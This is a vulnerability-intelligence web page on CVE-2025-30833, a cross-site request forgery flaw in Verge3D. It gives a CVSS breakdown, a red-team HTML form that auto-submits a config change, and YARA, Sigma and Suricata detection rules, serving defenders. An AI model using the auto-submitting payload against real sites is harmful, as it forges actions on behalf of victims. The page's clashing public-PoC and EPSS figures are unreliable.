☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Soft8soft llc logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 4.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-30833

CVE-2025-30833 Cross-Site Request Forgery in Soft8soft llc
📅 PUBLISHED: 2025-03-27 11:15 UTC 🔄 UPDATED: 2026-08-21 19:26 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.32%
👁️
0.32% probability
8.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1185
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 4.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: N Confidentiality None
I: L Integrity Low
A: N Availability None
4.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-30833 is a Cross-Site Request Forgery (CSRF) vulnerability affecting Soft8Soft LLC's Verge3D application, versions through 4.8.2. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated user, potentially leading to state-changing operations without the user's consent. The CVSS score of 4.3 (Medium) reflects the need for user interaction and the limited impact on confidentiality and availability, but the integrity impact is low. No public proof-of-concept (PoC) or exploit code is currently available, and the vendor has not released a patch. The EPSS score of 0.0% indicates a very low probability of exploitation in the wild at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Verge3D is a commercial 3D web visualization toolkit. While not distributed via public package registries like NPM or PyPI, it is often integrated into web applications. Organizations using Verge3D should treat this as a supply chain risk, as the vulnerability exists in the core product and may affect downstream applications that embed it.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
  • Base Score: 4.3 (Medium)
  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): None (N) – The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) – The victim must perform an action, such as clicking a link.
  • Scope (S): Unchanged (U) – The vulnerability does not affect other components.
  • Confidentiality (C): None (N) – No data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on service availability.

Threat Level: Medium. The requirement for user interaction reduces the likelihood of automated exploitation, but the lack of a patch increases the risk for unpatched systems.

Deep Dive & Mechanics

Cross-Site Request Forgery (CSRF) is a web security vulnerability that forces an authenticated user to execute unwanted actions on a web application. In the context of Verge3D, the application likely lacks proper CSRF tokens or other anti-CSRF mechanisms in its state-changing endpoints (e.g., configuration changes, user settings, or data modifications).

Attack Flow:

  1. An attacker crafts a malicious HTML page or email containing a forged request (e.g., a form submission or an image tag with a crafted URL).
  2. The victim, who is authenticated to a Verge3D instance, visits the attacker's page.
  3. The victim's browser automatically sends the forged request, including any session cookies, to the Verge3D server.
  4. The server processes the request as if it came from the legitimate user, performing the attacker's desired action.

Root Cause: The absence of CSRF tokens in sensitive operations. Verge3D likely does not validate the origin or referrer headers, nor does it implement double-submit cookies or other CSRF defenses.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a typical fix would involve:

Vulnerable Code (Conceptual):

// No CSRF token check
if ($_POST['action'] == 'update_config') {
    update_option('verge3d_config', $_POST['config']);
}

Patched Code (Conceptual):

// CSRF token validation
session_start();
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
    die('CSRF token mismatch');
}
if ($_POST['action'] == 'update_config') {
    update_option('verge3d_config', $_POST['config']);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • A target Verge3D instance (version <= 4.8.2) with an authenticated user.
  • Knowledge of a state-changing endpoint (e.g., /admin/settings).

Exploit Payload (HTML):

<html>
<body>
<h1>Click me!</h1>
<form action="https://target-verge3d.com/admin/settings" method="POST">
  <input type="hidden" name="action" value="update_config">
  <input type="hidden" name="config" value="malicious_config">
  <input type="submit" value="Submit">
</form>
<script>
  document.forms[0].submit();
</script>
</body>
</html>

Steps:

  1. Host the HTML file on an attacker-controlled server.
  2. Send the link to the victim via phishing email or social engineering.
  3. When the victim clicks the link, the form auto-submits, changing the configuration.

Blue Team (Detection & Defense)

Detection:

  • Monitor for unusual POST requests to sensitive endpoints without a valid CSRF token.
  • Analyze server logs for requests with unexpected Referer headers.

Defense:

  • Implement CSRF tokens for all state-changing operations.
  • Validate the Origin and Referer headers.
  • Use SameSite cookies (set to Lax or Strict).

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Unusual POST requests to /admin/settings or similar endpoints.
    • Requests with missing or invalid Referer headers.
  • Host IOCs:
    • Unexpected changes to Verge3D configuration files.
    • New user accounts or modified permissions.
  • Log IOCs:
    • Repeated 403 errors from CSRF token validation (if implemented).
    • Log entries showing state changes without corresponding user interaction.

Detection Engineering

YARA Rule

rule CVE_2025_30833_CSRF_Verge3D {
    meta:
        description = "Detects potential CSRF exploitation attempts against Verge3D"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-30833"
    strings:
        $csrf_payload = /<form\s+action=["']https?:\/\/[^"']*verge3d[^"']*["']\s+method=["']POST["']/i
        $suspicious_endpoint = /\/admin\/(settings|config|user)/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-30833 - Verge3D CSRF Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to Verge3D admin endpoints without proper CSRF tokens
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-query|contains: 
            - "/admin/settings"
            - "/admin/config"
            - "/admin/user"
    condition: selection
falsepositives:
    - Legitimate admin actions
level: medium

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-30833 - Verge3D CSRF Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/";
    http_uri;
    pcre:"/\/admin\/(settings|config|user)/i";
    sid:10000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable unused features: If Verge3D is not critical, consider disabling it until a patch is available.
  2. Implement CSRF protection: Add CSRF tokens to all state-changing endpoints. Use a library or framework that supports CSRF protection.
  3. Web Application Firewall (WAF): Deploy WAF rules to block requests to sensitive endpoints without proper headers.

Long-term Fix:

  • Monitor the vendor's website for a security patch. Once released, apply it immediately.
  • Conduct a security audit of the Verge3D integration to ensure all endpoints are protected.

Workarounds:

  • Use SameSite cookies: Set SameSite=Lax or Strict on session cookies.
  • Validate Origin and Referer headers in server-side code.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Verge3D
Soft8Soft Verge3D

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-30833/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.